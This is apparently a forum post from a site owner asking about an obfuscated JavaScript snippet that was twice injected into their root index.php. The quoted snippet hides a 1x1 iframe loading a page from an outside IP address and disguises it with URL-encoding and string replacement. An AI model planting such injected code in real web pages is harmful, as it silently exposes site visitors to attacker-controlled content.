I have seen that , this happend twice that , in my root index.php file.
I have this thing added
<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>
